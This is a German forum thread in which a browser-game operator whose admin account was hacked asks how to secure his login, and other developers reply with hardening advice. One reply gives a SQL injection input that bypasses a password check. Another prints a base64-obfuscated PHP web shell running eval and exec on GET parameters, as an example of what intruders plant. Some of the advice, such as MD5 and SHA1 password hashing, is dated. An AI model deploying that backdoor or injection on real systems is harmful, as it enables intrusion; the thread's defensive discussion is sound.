Hacker *Wichtig*

Hallo,
ich möchte erst mal das GN Team bitten, dieses Thema hier im Internen Entwickler Bereich zu lassen. Danke!
Gerade ist es passiert, jemand hackte mir mein Account..
Soweit so schön. Nur die Sache ist, kurze Zeit vorher gingen in meinem Spiel Underground-Race.de System Mails raus, das User eine Sperre erhalten würden, und sie sich im Forum melden sollen.
(Diese System Mail ging niemals von UR Team aus)
Als Reaktion wurden alle PWs vom UR Team gewechselt.
Dann haben wir und dazu entschieden das Login System sicherer zu machen, und geicherte PWs in Cookie und Session zu übernehmen.
Kurz nach einer ankündigung, das die Leute ausgeloggt werden, aufgrund einer Änderung im Login System, wurden meine Spielinternen Dinge in meinem Account verkauft (nicht so Wild, da Admin Account).
Denoch sehr merkwürdig, daher kurz davor das PW geändert wurde.
Also nun zu meiner Frage: Wie mach ich das ganze Login System SO sicher das, Hacker keine Chance mehr haben??
Wäre bereit auf den Cookie login zu verzichten.. Bitte um schnelle Antworten, da ich derzeit mein Spiel Offline habe bis ich diese Lücke behoben habe.
Gruß

Ein Zauberrezept gibt es nicht.
Du hast wahrscheinlich irgendwo eine Lücke drin und es gibt nichts ätzenderes als ein bestehendes, unsicheres System sicher zu bekommen.
Unter folgender Url habe ich ein paar Links gepostet, die sich mit dem Thema Sicherheit befassen:
Sicherheit von Grund auf!
> Wie mach ich das ganze Login System SO sicher das, Hacker keine Chance mehr haben??
In dem du es sicher gestaltest. Es hört sich zwar platt an, aber es gibt keinen Knopf oder keinen Befehl, der eine Sache sicher macht.
Überprüfe sämtliche Eingaben, spiele im Gedanken Szenarien durch [Was wäre wenn das Cookie verloren ginge? Was passiert, wenn jmd den Link zum Admin-Panel findet? Was passiert, wenn jmd über eine andere Komponente Zugriff zur Benutzer-Datenbank hat? Was ist, wenn ein Trojaner sich auf deinem Rechner befindet?].
Versuche den Angriffsweg nachzuvollziehen. Hast du Logs? Etc. Es gibt Millionen Dinge.
Sicherheit ist kein Element, Sicherheit ist ein Konzept, ein übergeordnetes Ziel, das von Grund auf zu verfolgen ist.
Nachtrag: Gerade folgenden Link finde ich sehr nett:
www.microsoft.com/germany/msdn/library/security/SicherheitIstRisikomanagement.mspx?mfr=true
Bei meinen Konzepten arbeite ich auch mit dem Schema und habe verschiedene Risikoanalysen durchgeführt. So kann man einen Schutz auch mehrschichtig aufbauen.

Original von TheUndeadable
Ein Zauberrezept gibt es nicht.
Du hast wahrscheinlich irgendwo eine Lücke drin und es gibt nichts ätzenderes als ein bestehendes, unsicheres System sicher zu bekommen.
Unter folgender Url habe ich ein paar Links gepostet, die sich mit dem Thema Sicherheit befassen:
Sicherheit von Grund auf!
> Wie mach ich das ganze Login System SO sicher das, Hacker keine Chance mehr haben??
In dem du es sicher gestaltest. Es hört sich zwar platt an, aber es gibt keinen Knopf oder keinen Befehl, der eine Sache sicher macht.
Überprüfe sämtliche Eingaben, spiele im Gedanken Szenarien durch [Was wäre wenn das Cookie verloren ginge? Was passiert, wenn jmd den Link zum Admin-Panel findet? Was passiert, wenn jmd über eine andere Komponente Zugriff zur Benutzer-Datenbank hat? Etc].
Versuche den Angriffsweg nachzuvollziehen. Hast du Logs? Etc. Es gibt Millionen Dinge.
Sicherheit ist kein Element, Sicherheit ist ein Konzept, ein übergeordnetes Ziel, das von Grund auf zu verfolgen ist.
Nachtrag: Gerade folgenden Link finde ich sehr nett:
www.microsoft.com/germany/msdn/library/security/SicherheitIstRisikomanagement.mspx?mfr=true
Bei meinen Konzepten arbeite ich auch mit dem Schema und habe verschiedene Risikoanalysen durchgeführt. So kann man einen Schutz auch mehrschichtig aufbauen.

Danke dir, der post hat mich auf jeden Fall angeregt.
Habe ein möglichst sicheres System mit meinem Kollegen Entwickelt was wir derzeit ausreifen.
Evtl. gibt es sowas schon aber es sollte sicher sein.
grobes Konzept: SessionID an den Header und der IP hängen, mit zusammen arbeit der Datenbank.
Genaueres werde ich dazu noch schreiben, falls noch jemand Ideen hat, immer her damit.

Ich persönlich arbeite bei einem Projekt mit höherer Sicherheit folgendermaßen:
- Benutzertabelle getrennt von der Spieledatenbank => Wenn Zugriff auf die Spieledatenbank per SQL-Injection, keine Chance auf die Benutzerdatenbank zu kommen
- Keine Speicherung von persönlichen Daten in Cookies, eher in der Datenbank in einem Eintrag, dessen Id in einem Cookie gespeichert werden => Cookie geklaut, Kennwort immer noch unbekannt
- Kennwörter werden als SHA1 mit Salz gespeichert. sha1 ( Kennwort + "GEHEIM" ) => Db geklaut? => Kein Kennwort bekannt, da keine Rainbowtable-Attacke ausführbar
- SSL-Login => Traffic mitgeschnitten? => Nutzt nix
Etc...
Absolute Sicherheit erreichst du nie. Du kannst nur die Sicherheit hochtreiben, allerdings ist das wieder mit Aufwand verbunden. Für ein BG würde ich die Sicherheit nicht so hochtreiben. Wie heißt es so schön: Sicherheit ist Risikomanagement.
BTW: Spiele dir mal eine Attacke durch, dass ein Kampfsim-Tool oder ein anderes Tool einen Trojaner enthält und du, deine Mods und die besten der Spieler dieses Tool nutzen....

Ich mache es ähnlich wie TheUndeadable, aber ich arbeite bei den kennwörtern mit dem md5 Hash, das wichtigste ist aber denke ich kennwörter z.b nie unverschlüsselt in die Datenbank zu schreiben, mit Cookies arbeite ich nur für die SessionID, die koppel ich auch an die IP , was aber nicht immer schutz garantiert, wenn z.b. viele den gleichen Proxy etc. benutzen.
Wie schon gesagt, wird es wohl nie 100% Sicherheit geben, aber man kann sie hochhalten, vorallem arbeite ich nach dem leitsatz, "Eingaben von Usern sind immer BÖSE" ... Ich lass da nirgends ein Eingabefeld ohne abfragen in die Db übertragen.

Kann man SQL-Injection nicht sowieso schon mit feldXY='inhalt' unterbinden?

Wir halten es ähnlich wie TheUndeadable:
- Passwörter werden verschlüsselt SHA1+Salt in der DB gespeichert. Wobei jeder User seinen eigenen Salt hat.
- Cookie enthält nur die Session ID
- Sensible Daten wie Passwort und Salt werden Programmintern geschützt, so das kein direkter Zugriff darauf möglich ist (falls es z.B. jemand schafft, sich Session-Inhalte ausgeben zu lassen).
- Granuläre Zugriffsrechte (RBAC)
- Und in meinen Augen sehr wichtig: Das Zugriffssystem ist sehr schweigsam. Hat ein Account keine Zugriffsrechte für ein gewisses Modul und versucht dennoch darauf zuzugreifen, wird es ihm nicht auf die Nase gebunden, dass er keinen Zugriff darauf hat.
Über diese Spielinternen Mechansimen hinweg, muss man sich natürlich noch um die Sicherheit des Servers an sich kümmern.

Original von RaydenDD
Kann man SQL-Injection nicht sowieso schon mit feldXY='inhalt' unterbinden?

select from user where uid='$id' and pw='$pw'

hift dir nix .. setz mal für id den string "123' --" ein.. dann bekommst du:

select from user where uid='123' --' and pw='$pw'

und hast die passwortabfrage elegant umgangen.
ist jetzt nur nen simples beispiel.. aber zeigt, dass quoting alleine nicht reicht. man muss ein auge auf alle sql-sonderzeichen haben (\,',--,%, ....)

Ich habe folgende Sicherungsmechanismen für meine Datenbank ergriffen:
- Kein Nutzer hat Zugriff auf die Datenbanktabelle
- Alle Abfragen, Updates, Inserts werden per Stored Procedures ausgeführt
- Ich benutze ausschließlich Parameter wie: 'SELECT passwort FROM Tabelle WHERE id = @id'
- Alle Daten die ich von einer Datenbank abrufe lasse ich in Entsprechende Klassen ausgeben, sodass zusätzlich angefügte Felder keine Chance hätten und ich einen Laufzeitfehler bekomme wenn ein char-Wert plötzlich ein int-Wert rein sollte
Gruß
shadows

Erstmal vielen Dank an alle, ich habe einige Tipps berücksichtigt und konnte endlich nach 5 Stunden arbeiten und suchen das Spiel wieder online stellen, zur Sicherheit habe ich das Urlaubs Vertretungs System und den Cookie Login vorläufig deaktiviert, da der Session Login schon einiges an arbeit war, den so sicher wie möglich hin zu bekommen.
Dazu ist es nun unmöglich das sich 2 Leute in einem Account befinden.
Wie ich was genau gelöst habe, werde ich morgen hier rein schreiben, da ich nun nach den 5 Stunden nicht mehr viel Lusthabe noch die ganze Sache groß Artig zu erklären.
Nochma Danke und einen schönen Abend noch.
Ich werd mir jetzt erst mal ein Bierchen trinken gehen
Gruß
Korporal

Also bei meinem neuen Konzept müsste es recht sicher sein, und zwar:
- DB Zugang ist mit Zeichen/Zahlen/Buchstaben gesichert (zwischen 15 und 30)
- UserDB ist komplett anderster Struktuiert als die GameDB's
- SessionID an http und IP des Users gehängt.
- Wenn die SessionID von jemand anderes in den Browser eingefügt wird, kommt derjenige nicht rein (Logout) und der dem den Account gehört bekommt eine Nachricht das jemand zugreifen wollte und ich als Admin bekomme eine Nachricht mit IP etc des "Betrügers"
Also eigentlich recht sicher (ist nicht alles, sind noch andere kleine Sachen WAS aber größere Wirkung hat als die anderen aber die gebe ich hier nicht Preis )

Ich habe mir eine komplette Inputvalidierung vor jeden Input geschaltet (ok, $_SERVER fehlt noch, ist aber noch geplant).
Es kommt KEINE Variable ungeprüft durch, nicht erwartete Variablen werden gedroppt, fehlende gemeldet (und zwar auf Basis der aktuell ausgeführten Aktion).
Es geht sogar soweit, das ich bei Ints Bereiche abfragen kann, bevor sie irgendwo ankommen wo sie weiterverarbeitet werden.
Das ist die erste Hürde. Danach wird alles sowieso nochmal fürs SQL escaped.

Escaped... ich entnehme deinen Kommentaren das du PHP verwendest und PDO nicht einsetzt.
Sieh es dir mal an, man erspart sich einiges an Arbeit.

Ich hatte es mir mal angesehen und dann aus irgendwelchen Gründen (die ich jetzt nicht mehr weiß) verworfen. Habs mir gerade nochmal angesehen und werde wohl meinen aktuellen DB-Layer (mysqli) dagegen austauschen. Wenn ich ordentlich gearbeitet habe, sollte das auch kein großer Akt sein.
Danke für den Tipp!

Als Reaktion wurden alle PWs vom UR Team gewechselt.
Dann haben wir und dazu entschieden das Login System sicherer zu machen, und geicherte PWs in Cookie und Session zu übernehmen.
Kurz nach einer ankündigung, das die Leute ausgeloggt werden, aufgrund einer Änderung im Login System, wurden meine Spielinternen Dinge in meinem Account verkauft (nicht so Wild, da Admin Account).
Denoch sehr merkwürdig, daher kurz davor das PW geändert wurde.
Also nun zu meiner Frage: Wie mach ich das ganze Login System SO sicher das, Hacker keine Chance mehr haben??

Hugh Korporal
Eines vorne weg: Jeder vernünftige Hacker wird als erstes, nachdem er sich privilegierten Status in einem System erarbeitet hat, Mechanismen einbauen, die ihm den Status schnell auch bei Systemänderungen wiederbeschaffen werden und gleichzeitig seine Zugriffsmöglichkeiten ausbauen.
Ich persönlich kanns nicht einschätzen, durch welche offenen Türchen die Person bei dir eingedrungen ist, aber ich behaupte mal geradeaus, dass es wenig mit dem Login zu tun haben wird und dass die Lücke tiefer anzusetzen ist. Schonmal die PHP Files aufm Server mit den originalen auf irgendwelche Veränderungen verglichen? Errorlogs? Authlogs?
Sollte sich der privilegierte Zugriff des Hackers wirklich alleine auf die Applikation und nicht das System beschränken, hast du Glück gehabt. Sollte er auch Systemzugriff haben, ... viel Spass.
gruss

PS:

$foo = base64decode("aWYoJF9HRVRbJ2hhY2toYWNrJ10peyBldmFsKCRfR0VUWydoYWNraGFjayddKTsgfQ0KaWYoJF9HRVRbJ2V4ZWNoYWNrJ10peyBleGVjKCRfR0VUWydleGVjaGFjayddKTsgfQ==");
eval($foo);
?>

Wie gut das diese Änderung sofort auffallen würde...
Na ja, würde ich es nicht fürs WBB brauchen hätte ich eval schon längst global abgeschaltet. Man sollte immer eine Möglichkeit finden, ohne eval zu arbeiten.
Rein aus Interesse: Welche anderen PHP-Funktionen haltet ihr für überflüssig und/oder gefährlich?
Gibt ja noch genug andere, die man für normale Webapplikationen nicht benötigen sollte (exec ist auch so ein Kandidat).

Eine Änderung an Server Datein würde mir sofort auffallen, da mein Programmier Oberfläche mir sofort meldet, sobald eine Datei neu ist, bzw etwas geändert wurde. Also dies bezweifel ich
Zur DB Injection Sicherung verwende ich ctcracker. (Sollte so heißen)
Schließe auf PW geknackt, Session von mir übernomme oder ähnliches, genaues weis ich leider auch noch nicht.
Gruß
Korporal

Hier vielleicht mal meine Tips:
Sicheres einmaliges Passwort verwenden.
Wenn Du mit dem selben Passwort irgendwo einen anderen Account hast, könnte das Passwort auch daher kommen.
Admin-Bereiche zusätzlich mit einem weiteren Passwort schützen (z.B. htaccess)
Brute Force (Scannen von Passwörtern) auf Passwörter verhindern indem Du IPs mitloggst und nach 5 oder 10 Versuchen die IP sperrst.
Dynamische Formular Namen für die Passworteingabe verwenden.
also nicht id="user" id="pass"
sondern id="user645gr"
und beim nächsten mal id="user38jg9"
(erinnert mich daran, dass ich das letzte auch noch einbauen wollte )

Vielleicht bringt es dir auch Sicherheit Hardened-PHP zu nutzen: www.hardened-php.net/

Am Besten gar nicht erst auf PHP setzen
Was du noch machen solltest:
90% der Leute übersehen die Rechtevergabe durch mySQL selbst. Fürs Einlogen solltest du nen eigenen User erstellen der nur in einer Tabelle lesen darf.
Alle anderen User/Verbindungen die du verwendest dürfen auch nur in den Tabellen schreiben die sie auch brauchen. Lesezugriff bekommen sie natürlich auch nur für erforderliche Tabellen (keine globalen Datenbankenrechte - damit sind wir wieder auf PHP-Niveau). Das ersetzt natürlich kein Sicherheitskonzept, aber es ist eine wichtige Grundlage davon
Um sicherzugehen: gehashte Browserkennung, IP und username/anderer spielinterner Wert (+ persönlichem Salt) als Session-ID verwenden. Damit müsste man noch die gleiche Browserkennung haben um reinzukommen. Ist simpel, aber die 14 jährigen Kiddies sind damit schonmal aus dem Rennen. Ein Posting der Session-ID bringt also niemanden ohne tiefere Einsicht des Session-Managemantes weiter. Du solltest immer eine Liste der Session-ID's haben und nicht "on-the-fly" prüfen.
Nachteil: sobald die IP drin ist, sperrst du AOL-User aus
Sessions sind nie sicher zu bekommen. Wie man es dreht und wendet: mit der Kentniss der Session-Bildung, wird es ein Kinderspiel sie zu knacken.
Daher setzt man in der Praxis auch die Lebenszeit einer Session sehr niedrig. Nach 5 Minuten Inaktivität oder einer Stunde Aktivität werden sie ungültig. Ist der sicherste Weg das Problem zu minimieren.
Setzt es jemand jetzt aber darauf an die Session-ID zu holen, wirds auch nichts bringen.

Original von Samson
Sessions sind nie sicher zu bekommen. Wie man es dreht und wendet: mit der Kentniss der Session-Bildung, wird es ein Kinderspiel sie zu knacken.

Ich versteh das nicht, wie soll man denn eine Session-ID mal einfach so knacken?

> Nun die Geschwindigkeit nimmt zu mit der Verringerung des Luftwiderstandes, das Flugzeug könnte also sehr wohl die Umlaufbahn der Erde verlassen...
Erscheint mir auch unlogisch. Sobald man einen Zufallszahlengenerator mit nicht von außen sichtbaren Faktoren (/dev/urandom zum Beispiel) nimmt, ist das Raten einer Session-ID nur noch Gestochere.
Nicht umsonst gibt es in Betriebssystem kryptographisch sichere Zufallszahlengeneratoren. Und zumindest ASP.Net nutzt diese zur Erzeugung einer Session-ID. Ich gehe davon aus, dass es PHP auch tut.

Ich bezog mich oben auf selbsterstelle Session-ID's. Aber natürlich sind auch von PHP oder jeglichen anderen Sprachen erzeugte ID's berechenbar.
Nicht umsonst spricht man in der Informatik immer von "Pseudo-Zufallszahlen". Einsatzgebiet von Zufallszahlen sind z.B. Netzwerkkarten. Weiß nicht mehr genau wie das Verfahren hieß, aber senden zwei Maschinen gleichzeitig, so werden beide eine zufällige Zeitspanne warten und nach ablauf dieser abermals senden. Das verdeutlicht auf das grundsätzliche Problem von Zufallszahlen in Elektrotechnik und Informatik. Um wirkliche Zufallszahlen zu erzeugen bedarf es einer Menge externer Perepherie (teure Cisco Maschinen haben die z.B. drinne).
Das Problem liegt in der basis der Informatik begründet. Wie will man den mit festen logischen Zuständen und Berechnungen auf der Basis dieser irgendwas Zufälliges erzeugen? Das ist unmöglich, und so nimmt man die Mikrosekundenzahl oder eine ähnlich schnell ändernde Basis und schiebt sie in einen Algorhytmus. Dabei muss auch nicht zwingend immer dasselbe Ergebnis herauskommen. Das liegt daran das man Pseudozufallszahlen nicht vorhersehen, aber dennoch berechnen kann.
Aber das würde jetzt glaube ich auch zu weit führen. Gibt aber tolle Literatur darüber

Theoretisch ja,
in der Praxis kann ich mir nicht vorstellen,
dass das funktioniert.
Dazu müsstest du ja wissen,
in welcher Millisekunde die ID generiert wurde.
Ich denke mal, der Algorhytmus wird nicht nur 1000 (wegen milli=tausend?) mögliche Zufallszahlen ausspucken,
das wäre in der Tat sehr wenig.

Naja...nicht zwingend. Tausende Möglichkeiten - bei bekanntem Algorhytmus - lassen sich ja schnell berechnen. Diese Verfahren dürfen ja nur eine minimale Laufzeit haben, welche Applikation kann schon 30 Sekunden auf eine Session warten?
Wenn ich weiß in welcher Minute die Session erzeugt wurde, ist es nicht unrealistisch den Wert noch in der Lebenszeit der Session herauszufinden. Bloss das durchprobieren dürfte auffallen
Aber ja, es ist schon aufwändig. Aber ich bezweifle doch stark das PHP hier etwas sicheres verwendet, man ist doch etwas simplere Mechanismen dort gewohnt. Letztendlich weiß ich nicht wie "sicher" heutige Implementierungen in der Richtung sind. Ich wollte nur zeigen, dass blindes Vertrauen eher fehl am Platze ist.

php nimmt wohl die von glibc (unter Linux) oder mt_rand.
Und die sind eigentlich in Ordnung. Zumal der Angreife lange nicht alle Daten hat, die zum Erzeugen der Zufallszahl verwendet werden (genaue Uhrzeit, Aufrufreihenfolge, HDD-Aktivität, Netzwerkkarteninterupts, je nachdem was halt "verwurschtelt"wird.)
Und wenn man diese Parameter hat braucht man die Session-ID meist auch nicht mehr^^